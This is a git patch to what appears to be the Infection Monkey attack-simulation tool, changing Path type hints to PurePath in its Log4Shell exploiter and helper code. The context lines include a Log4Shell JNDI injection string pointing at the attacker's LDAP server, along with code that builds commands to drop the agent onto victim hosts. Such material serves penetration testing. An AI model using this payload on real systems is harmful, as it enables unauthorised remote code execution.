From 49d3433ade5db27ebdf002bfb8c77c9211368bc6 Mon Sep 17 00:00:00 2001 From: vakaris_zilius Date: Thu, 24 Mar 2022 11:46:59 +0000 Subject: [PATCH] Agent: Change to more specific typehint in helpers.py --- monkey/infection_monkey/exploit/log4shell.py | 4 ++-- monkey/infection_monkey/exploit/tools/helpers.py | 6 +++--- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index f970a35c7..0a70d6e01 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -1,6 +1,6 @@ import logging import time -from pathlib import Path +from pathlib import PurePath from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT from infection_monkey.exploit.log4shell_utils import ( @@ -113,7 +113,7 @@ class Log4ShellExploiter(WebRCE): interface_ip = get_interface_to_target(self.host.ip_addr) return f"${{jndi:ldap://{interface_ip}:{self._ldap_port}/dn=Exploit}}" - def _build_command(self, path: Path, http_path) -> str: + def _build_command(self, path: PurePath, http_path) -> str: # Build command to execute monkey_cmd = build_monkey_commandline(self.host, self.current_depth - 1, location=path) if "linux" in self.host.os["type"]: diff --git a/monkey/infection_monkey/exploit/tools/helpers.py b/monkey/infection_monkey/exploit/tools/helpers.py index c287b0dbb..595207f0c 100644 --- a/monkey/infection_monkey/exploit/tools/helpers.py +++ b/monkey/infection_monkey/exploit/tools/helpers.py @@ -1,7 +1,7 @@ import logging import random import string -from pathlib import Path, PurePosixPath, PureWindowsPath +from pathlib import Path, PurePosixPath, PureWindowsPath, PurePath from typing import Any, Mapping from infection_monkey.model import VictimHost @@ -18,7 +18,7 @@ def get_random_file_suffix() -> str: return random_string -def get_agent_dest_path(host: VictimHost, options: Mapping[str, Any]) -> Path: +def get_agent_dest_path(host: VictimHost, options: Mapping[str, Any]) -> PurePath: if host.os["type"] == "windows": path = PureWindowsPath(options["dropper_target_path_win_64"]) else: @@ -29,7 +29,7 @@ def get_agent_dest_path(host: VictimHost, options: Mapping[str, Any]) -> Path: # Turns C:\\monkey.exe into C:\\monkey-.exe # Useful to avoid duplicate file paths -def _add_random_suffix(path: Path) -> Path: +def _add_random_suffix(path: PurePath) -> PurePath: stem = path.name.split(".")[0] stem = f"{stem}-{get_random_file_suffix()}" rand_filename = "".join([stem, *path.suffixes])